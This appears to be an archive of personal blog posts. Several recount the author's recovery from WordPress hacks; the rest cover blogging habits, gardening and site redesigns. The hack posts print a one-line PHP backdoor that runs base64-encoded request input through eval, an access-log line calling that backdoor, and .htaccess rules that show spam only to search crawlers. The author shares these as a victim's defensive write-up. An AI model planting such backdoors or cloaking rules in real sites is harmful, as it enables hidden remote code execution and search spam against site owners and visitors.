(I am getting a lot of hits on this post from google. If you came here because you think your wordpress install has been hacked as well, make sure you also read Hacked! and Hacked, Again!)

I’ve done nearly all the design updates I’m going to do to the blog for now although I have a plenty large To Do list left. Sadly it’s an almost entirely different To Do list than I had before this mess happened.

This is my technical followup to what happened; you can skip it if you don’t care about the details. It is long (of course). I’ll get back to talking about chickens and food soon enough.

We ended yesterday with a complete reinstall of all the files on all my web sites, including a brand new version of WordPress and a new database for this blog. In retrospect, this is what I should have done straight off on monday. The #1 thing I have learned from this is when in doubt, assume it is WordPress and nuke it from space.

Notes on WordPress Security

I’m 99% sure that my hacker got into WordPress via a script called timthumb. This is a known WordPress vector for abuse — tons of themes and plugins use this script. In my case it was my theme, Thesis, that used it. This timthumb page has a lot of technical detail about why it is a problem, although the phrase “allowing hackers to upload and execute arbitrary PHP code” generally says it all.

There is a WordPress plugin called Timthumb Vulnerability Scanner that will check your entire WordPress installation for old versions of timthumb and made sure you are not subject to this hack. Note that I was using a current version of a respected paid theme and the most recent version of WordPress and the timthumb vulnerability was still there.

I also use the wp-security plugin for general WordPress security, which encourages you to make some of the more obvious changes to wordpress to keep hackers out (removing the admin account, renaming your database tables, etc.). I admit I had not implemented everything that wp-security recommended, because I was lazy. But even if I had it would not have helped with the timthumb hack.

The makers of wp-security have a web site called Website Defender that does much more in-depth security testing of your installation. I hadn’t gotten around to signing up for or installing the Website Defender tools (it requires some PHP to be placed on your web site, which, frankly, worried me right there). But a few people on twitter recommended it, so once I got my new software installed I set it up, and it looks MUCH more comprehensive for protecting WordPress. I kind of consider it anti-virus software for WordPress. They can keep track of new vulnerabilities so I don’t have to.

Lurking Horror in Non-Static Static HTML

I had been worried yesterday that my hacker was somehow able to modify files in my static HTML sites (my www.lauralemay.com and work.lauralemay.com sites) from the hacked WordPress blog site. This led me to believe that I actually had a worse hacker than just a web-based script-kiddie. It turns out I was wrong. PHP was the problem, and I had PHP everywhere that I just didn’t know about or wasn’t paying attention to. This was my fault for not being more diligent.

In the case of my www site, I once ran Movable Type there, and although I had turned off the itself software years ago I still had the files sitting around in the directory and accessible from the web. Tons of PHP floating around in there. This was dumb of me to keep around — especially since it was a very old version of Movable Type.

I was sure that my work site was safe — I wrote all that myself, in plain HTML and CSS. And then buried deep in a sub-sub-sub directory I found one PHP file that Dreamweaver of all things had written as part of “design notes” for the site. I know there was one time I used DreamWeaver for the site but it was years ago and I thought I had long since deleted all those extra notes directories. ONE FILE I didn’t even know was there, but the hacker scripts found it, and that was all it took. (Fortunately all I had to do was trash that one file and that was the end of it.)

I See You

While I was sitting around waiting for stuff to install and reimport and whatnot I got to thinking that maybe there were traces of my hacker in my access and error logs. Fortunately this is not a high-traffic web site (hah), so I could grep out typical requests and page through the rest of my logs without having to look at a zillion lines. A whole lot of lines like this one immediately stood out:

46.37.184.254 - - [04/Jan/2012:03:10:38 -0800] "GET /wp-admin/includes/schema.php?
img_id=1f3870be274f6c49b3e31a0c6728957f&mod_content=ZWNobyAiZ29vZ2xlZWVlIjs=
HTTP/1.0" 301 572 "http://facebook.com/" "Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C)"

I know of no legitimate reason for anyone to request anything inside wp-admin unless they are actually administering the site. There’s especially no reason to request schema.php, and no reason at all to give it arguments (img_id and mod_content). I had a copy of my hacked site on my local machine, and I took a look at schema.php. Bingo. Right at the top of the file, above the comments:

<?php if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434")
&& isset($_REQUEST["mod_content"])) { eval(base64_decode($_REQUEST
["mod_content"])); exit(); } ?>

eval(base64_decode you say? I don’t think so. I searched my entire blog site, and found about ten PHP files all over the place that had these lines scribbled at the start. Then I looked through my log files and there was my hacker, always at the same IP address, always pinging those same hacked files.

None of this actually really mattered, since I had trashed all the hacked filed when I reinstalled WordPress. But one of the first things I did when my new site was set up was to block that IP address. And today as I watch my logs roll by I am pleased to see client denied by server configuration coming up again and again.

Feeeelings

I’m not feeling the least bit confident about web software right now, and thinking about the security problems of complex web applications in general is making me break out in hives. It seems that the more complex a web app is the more likely it is that someone out there is going to fuck with it, and I just don’t have the time for that. I went to shared hosting precisely because I was tired of being my own sys admin. I can do it, but I’m not all that good at it, and I don’t want to. I want to write.

On the other hand, the idea of giving up all the administration and putting all my stuff in the cloud also doesn’t give me happy warm fuzzies. Because of course in that situation the cloudmasters are hadooping away on everything I do and generating all sorts of valuable advertising thneeds.

Either way it seems I’m eventually going to be pwned by someone.

grumble.

(I am getting a lot of hits on this post from google. If you came here because you think your wordpress install has been hacked as well, make sure you also read Hacked! and Hacked, the Followup)

It turns out that everything I did yesterday made no difference at all, and my hacker came back in overnight and rewrote my files all over again.

So today I blew away all the files on my web host including the WordPress install and the database and started all over again. While I was doing that I took the opportunity to update the theme software (I use thesis), and since I was there scrabbling around with CSS and PHP I made some design changes I had been wanting to do anyhow.

I have another technical post I want to make because I figured out how the hacker got in and exactly what he or she was doing, and there’s still a bunch of stuff missing from the site, but right now I am tired and hungry and I’d like to be done for today.

I apologize if you were desperate to read my long-winded pointless ramblings while I had the site offline.

(I am getting a lot of hits on this post from google. If you came here because you think your wordpress install has been hacked as well, make sure you also read Hacked, Again! and Hacked, the Followup)

So, I had a fun afternoon, how about you?

A week or so ago, I noticed an odd thing: Google Reader had stopped updating my blog feeds. Around that time I had been mucking with the blog feeds (see Housekeeping) so I figured maybe I had confused Google Reader, and if I ignored it, maybe it would go away.

Hint: if Google gets annoyed at your web site, perhaps there is something wrong with your web site.

Then yesterday I noticed that if I unsubscribed to my blog feed in Google Reader and resubscribed to it, the title to my blog would not come up. Instead Google Reader decided the title was “Personal Creations Elmo, Consumer Payday Loans – $300 – $2500.”

I became indignant. My blog looked fine to me. It looked fine from a variety of other locations. The code looked fine if I grabbed it with curl. Something was wrong with Google.

Hint: It’s unlikely something is wrong with Google. Something might be wrong with your site.

Then it got worse and it spread to my search results:

At the same time a friend sent me a screen shot of my web site as he saw it:

Yeah, I got hacked. But it was a selective hack; only the google and yahoo crawlers and referers from google and yahoo saw it. (no one actually uses the Yahoo search engine.)

I spent the day cleaning up from this hack, including doing it twice because it came back. I still don’t know where it came from or if its going to come back again. This was not a lot of fun.

I googled what I found and turned almost no information at all; no exploits, no descriptions, no patches, nothing. I don’t know if what I had was new, or if it was obscure, or what. Technical details in the More part of this post.The changes I found affected three sites on my web host: one wordpress site (this blog) and, more worrisome, my www and work sites, which are entirely static HTML files — no PHP, no databases, just flat HTML.

On all three sites the hack added or modified an .htaccess file, adding rewrite rules. The modification dates of the files were not recent; they seemed to have picked a date and time that would not stand out (eg if every other file in the directory was modified on April 23, 2010, that was the modified date the .htaccess had). It also added a PHP file to the top level of the domain. For wordpress, that file was wp-stat.php (NOT wp-stats.php); for the static sites it was common.php. The rewrite rules in htaccess were similar for both versions:

# WordPress search queries statistic module

RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !wp-stat.php
RewriteCond %{DOCUMENT_ROOT}/wp-stat.php -f
RewriteRule ^.*$    /wp-stat.php [L]

The wp-stat file is a base64 encoded PHP file. (hint: random files with base 64 encoding are probably up to no good). I ran it through a base 64 decoder and got a self-decrypting JavaScript file (hint: ditto). There were only a few readable strings in that file, most obviously the string “VASH NE PODDERZHIVAET ETO.” Googling that turned up only two references. This is one. That is the same script.

I deleted the file and fixed my .htaccess files. Because this hack crossed all the boundaries of my web sites and because the modification dates were in the past, I suspected a worse break-in than just a wordpress hack. I changed every password on everything — my shell account, my mySQL database account, all my wordpress accounts.

While I was poking around looking for other suspicious things that might be going on, the hack put itself back: it remodified all my .htaccess files and reinstalled the wp-stats and common.php files. Dammit.

Finally, suspicious of wordpress altogether, I also blew away my database, went back to an earlier backup, and reconstructed the more recent posts via wordpress import/export.

I removed write access to the .htaccess files (chmod 0444) and either that, blowing away the wordpress database, or changing all my passwords), seems to have stopped it for now — at least it hasn’t come back in the last few hours. We’ll see what happens overnight.

If anyone has any other ideas I’d love to hear them.

Google Reader seems to have rediscovered my feeds. Google search is still a bit behind.

I have no information on consumer payday loans.

I’ve made a ton of fixes to the blog and to my main web site over the last week, including the broken archive links as well as redirects for links and ancient feeds that have been broken for years. In particular: you livejournalers are probably going to start seeing me again for the first time since 2007.

I note from the logs that a lot of people browse this blog by category. Only about 30% of the site is categorized; I’m still working on that.

Contact form is still broken.

I can write OR I can go make stuff OR I can maintain ever-decaying blog software. Mutter.

This last weekend since it was a long holiday weekend I was thinking it was way long past due I started posting to my blog again. But instead of actually just posting I was fiddling around in the back end software, fixing links, adding categories, updating plugins and themes and playing with fonts. Because of course fussy repetitive software fiddling is just so much easier than actually writing anything. (Especially writing anything over 140 characters these days (guilty expression)).

But then late on Sunday there was this auto-tagging plugin that did something stupid, and then there was a plugin to remove the thousands of tags that the auto-tagging plugin created but didn’t, and then there was a theme upgrade that went awry, and a theme downgrade that went even more awry. And after a couple hours of fiddling I found myself staring at a blog that not only didn’t have any new posts in 18 months, it was also worse, organizationally, than when I started, AND it was completely unreadable.

Hooray!

Fortunately, I’ve been making database backups this whole time. Unfortunately, I didn’t have a clue what to do with a database backup should I need to restore it. And it’s kind of unnerving to stand on the edge of a precipice staring at a database interface that’s asking you, “are you SURE you want to drop all the tables in this database? Are you REALLY sure?  REALLY REALLY SURE??” Because I really really wasn’t sure.

But to make a pointless long story short, I got the blog back, I got my design back, all of the fiddling I did yesterday got wiped out, and I’m back to where I started, with no new posts in 18 months.

Except, now, this one.

It is nice when months of fretting pays off in a ten-minute update with only a few dumbass PHP errors.

There are still some messy bits here and old links are broken. I have some new images to put in later on when I finish drawing them. And the “www” part of the site is still old. But it’ll be easier to fix everything now that the new blog is settled into its new home.

I’ve closed down comments on all the posts here in preparation for a big blog move. I’m migrating all my web sites over to WordPress, with a new simpler structure and an integrated redesign. I think I’ve planned everything out, and I’ve done most of the work on a testing site, but who knows how well it’ll actually work when I put it all in place. This old site you’re looking at is a really old movable type installation with a lot of hand-built customizations, most of which were really stupid in retrospect (my urge to tinker won out over basic common sense). The conversion has been a lot more painful as a result.

The biggest change for many of you will be a new feed URL. The old blog supported every variety of feed flavor; the new blog will have only one feed (RSS) and it’ll be at a different URL. (http://blog.lauralemay.com/feed)

I’ll redirect all the old feed URLs to the new feed but I don’t know how well that’ll work for feed readers. I’ll also put up a reminder post in the old feeds when the conversion goes through.

This is not like putting a lander on mars or anything, but my goal for all this brouhaha is to make it easier for me to actually, you know, write.

Yeah, I know I was kind of dismissive about twitter earlier, but I changed my mind. I’m twittering over at http://www.twitter.com/lemay.

If you don’t know what twitter is, its kind of like a short-form blog, each post less than 140 characters, answering the question “what are you doing?” It tends to skew kind of trivial.

I have a clean office, a new computer, and a big pot of coffee. It’s the new year, a bright new day and it’s time to get back to work.

First of all, thanks to everyone who sent me mail (and mail to my sister!) wondering where I was and if everything was OK. All this time I was thinking my readers (both of you) might be disappointed that I had stopped writing but that there were five trillion other blogs that could take my place. Little did I know that I had FOUR readers and that they did indeed miss me. Wow! :)

What I’ve Been Up To, the Short Version

I am fine. My health is fine. My head is fine. It’s all good.

I have been running, and swimming. If I start bicycling again I will end up accidentally training for a triathalon. I have acquired a small flock of chickens, and a piano. I cleaned my office (this is is a big deal). I lost eight pounds (this is not a big deal; I have lost them before but they keep coming back). I have read something like three dozen books in the last six months. I got my hair cut short. I gave up caffeine again, three times. I sleep ten hours or more a night, but I have strange dreams where tiny espresso shots cruelly laugh at me.

Most importantly, I successfully survived turning 40.

Unplugging…Sort of

I did get a big ugly case of Deep Thoughts at 40, and a whole series of those Deep Thoughts concerned the amount of time I spend on the internet every day. I really did not want to have “successfully maintained her social network” carved on my gravestone. I still don’t.

In August I was reading hundreds of blogs a day, keeping up on dozens of mailing lists, web forums and old-style BBSes, reading and (um, sometimes) replying to personal email, and regularly posting to this blog as well. All of this in my spare time, on top of my normal daily workload. I didn’t have to get this involved in the internet, but I had built it up over time, slowly abandoning my own writing and my other interests and feeling like I was behind if I didn’t keep up on my email and my feeds. Even when I did sit down and write or draw or play music on my own I felt lost and blocked, as if there was nothing there in my head to draw on.

This was also a time when twitter and facebook were very popular amongst many of my friends. I was having a hard time imagining signing up for more internet time-sucks when I already felt so stretched for time and attention, and so creatively empty.

I’d like to say I unplugged from the net in August and that I feel much better, but I’m not that virtuous. I have cut tremendously back on the amount of net reading I do, I turn off my IM most of the time, and I am not on either twitter nor facebook if you’ve been looking for me there. I feel like I’m wasting less of my life on the net, but I still don’t feel good. I still feel like I have a lot of work to do to pull away.

A Bad Case of Why

Another Deep Thought I had this fall I did was wondering why I blog at all. I suspect this is a phase that every blogger goes through, a nobody-cares-why-bother-its-all-pointless phase. It just took me a while to get here and probably lasted for far longer than it should have, given that I’ve been a writer my entire life and writing a blog should come easily to me.

I think I have been unconsciously influenced by the so-called A-list bloggers, who are blogging as a business and who have a single-minded focus on attracting readers so that they can pull in advertising dollars and thus get rich and famous and quit their jobs. I’ve never really viewed this blog as anything more than a hobby and a place to write once in a while, but I still find myself feeling guilty that I violate every major business blogging rule. Thou Shalt Not Write a Journal Blog. Thou Shalt Write About What Everyone Else is Writing About and Cultivate Pagerank. Thou Shalt Not Post Cat Pictures. I’ve been guilty that I can’t seem to follow the rules and thus I’m not rich and famous like the business bloggers. Never mind that not even the business bloggers seem to be doing all that well at the rich-and-famous-quitting-the-job strategy. I can find a whole lot to be guilty about if I try.

But looking over my archives it does seem like I’ve been trying to do too many things and imitate too many other sites. I have a focus problem. I’m not kottke or boingboing or engadget but it is like I’m trying to be all these sites and a half dozen others, in addition to posting my own stuff. What I do notice from my stats is that the most popular posts on this blog, the ones that are linked the most and commented on the most, are consistently the longer posts, the more personal posts, the opinions or essays or reviews or stories about cooking or gardening or tech. The funny posts are usually a big hit.

What a surprise: my best posts are the ones where I actually write like me.

2008 Blog Resolutions

It’s time for a blog reboot. (for the content, at least. I want to do a new design and move the blog to wordpress, too, but that will have to wait for when I have more time.)

In 2008 I want to stop trying to be other people’s blogs, and be more creative on this one. What this means, I hope, is longer posts and more personal stuff. Fewer link-log posts and more funny essays (or at least attempts at being funny). I’m probably going to talk more about gardening and cooking. I’m going to post about work (not so much “my co-worker is an asshole and the coffee here sucks” type of things but more about technology and teaching and writing and publishing, which is what I do). I would really like to post more fiction. There will be cat pictures.

What I’m aiming for is an unpopular blog that is nonetheless richer for me to write. And, I hope, if all four of you stick around, richer for you too.

I will be back and posting again soon. Thanks to everyone who has sent me email wondering where the hell I am.

I have like 15 zillion old posts to catch up on. Expect a bit of a link flush over the next week or so.

I have returned. Apparently I needed a blogging break. Sorry about that.

To update you here is a list of things I have been doing in the last six weeks instead of posting here:

• Giving up coffee (third time this year).
• Applying sunscreen.
• Planting strawberries.
• Eating strawberries. (not the same strawberries)
• Weeding.
• Raking.
• Sweeping.
• Mulching.
• Weeding.
• Planting squash.
• Planting spinach.
• Planting beans.
• Planting melons.
• Weeding.
• Watering strawberries, squash, spinach, beans, melons, tomatoes, basil, corn, peppers, zucchini, pumpkins, cucumbers, herbs, roses, lemons, apricots, cherries and morning glories. Due to a hose mishap I also watered the side of the garage for a while.
• Not replying to email.
• Feeling guilty about not replying to email.
• Not blogging.
• Feeling guilty about not blogging.
• Not writing at all outside of work.
• Feeling guilty about not writing.
• Staring at my to do list.
• Not doing much that’s actually on my to do list.
• Feeling guilty about not doing much that’s actually on my to do list.
• Thinking, to hell with it, turning off the computer and going back out into the garden.

I really hadn’t intended to make a big thoughtful post about the Kathy Sierra dustup and attendant blogger angst and then vanish. I actually did write an enormous boatload of stuff, off and on, between then and now, but it seemed like every time I got close to finishing anything I had real work to do at work, or the weather would get really nice and suddenly I realized that I had tomatoes that needed to be planted and a hammock that needed to be set up in the sun, or there would be some new big blogger dustup that required all kinds of NEW comments that needed to be written, thus rendering my old comments stale.

Now I have all these posts that out of date and completely pointless. Harassment on the Internet? The value of anonymity? Blogger code of conduct? That’s so two weeks ago! And I’ve been sitting here feeling incredibly guilty because I’ve got all this unfinished commentary and nothing to do with it. I am drowning in unfinished commentary. All this poor lonely writing. Where will it go? What will it do?

So: I am declaring an amnesty. Perhaps I will post all this stuff sometime but perhaps not. But for now expect more normal posts about cats and wildlife and books and bad jokes. I can’t take the guilt.

(as a side note I really do envy blog writers who are able to produce such long and intelligent posts so quickly after news comes out. I am apparently just a really slow thinker and writer, and too easily distracted by the outdoors when its nice out. curse it.)

Over the last few days my site has been under attack from zombies. Pharmaceutical zombies. Its yet another one of those incredibly irritating referrer attacks, except most of the time when I get one of those its only one or two referrers and they’re all coming from one IP. A couple hundred hits, I block them, they go away. This time: hundreds and hundreds of referrers, all for different drugs (viagra, vicodin, cialis, levitra, xanax). And all of them are coming from different IP addresses all over the world. Zombies. Its thousands and thousands of hits a day.

I’m dropping keywords into my block list all the time (fioricet. alprazolam. hydrocodone. phentermine. ambien.) but new ones are popping up every day. If you are a real human and you happen to be reading this from some legitimate pharmaceutical site, I’m sorry: you’re collateral damage.

This is really @*(#*@& annoying.

Ye gods, Movable Type’s 3.2 style sheets are complicated. I’ve spent the last couple of days restyling my blog as part of a giant combo workover of everything that may eventually see the light of day — yes, I do have a development machine now, so I am not continually messing up the live blog. I have a design that I like now but its still built around the existing MT CSS and there’s like 800 lines of extraneous complex stuff in here that I don’t need. Plus: hardcoded widths and font sizes. ew.

I’m torn. On the one hand I could strip down the style sheets to about a quarter of what’s there and have much cleaner and simpler code that was easier to change and maintain, but then I’d end up forked from MT and I’d probably eventually have to come back and restart from the defaults again some time in the future (which is what I’m doing now after taking that step with my initial MT 2.x install).

On the other hand, the CSS people at MT actually know what they are doing. I know CSS reasonably well at this point, but I am not up on the multitude of cross-browser hacks and workarounds so I’m opening myself up to lots of bugs and issues and worry down the line. If I stuck with the existing style sheets I could have some confidence of not having to deal with that and, more importantly, I could just go on with my life.

I think I’ll have a couple cups of coffee and think about it. (it’ll take less time if I’m caffeinated).

Update: I know you’ve been anxiously awaiting my decision. I merged and cut everything down. Yes, its true: I am forked.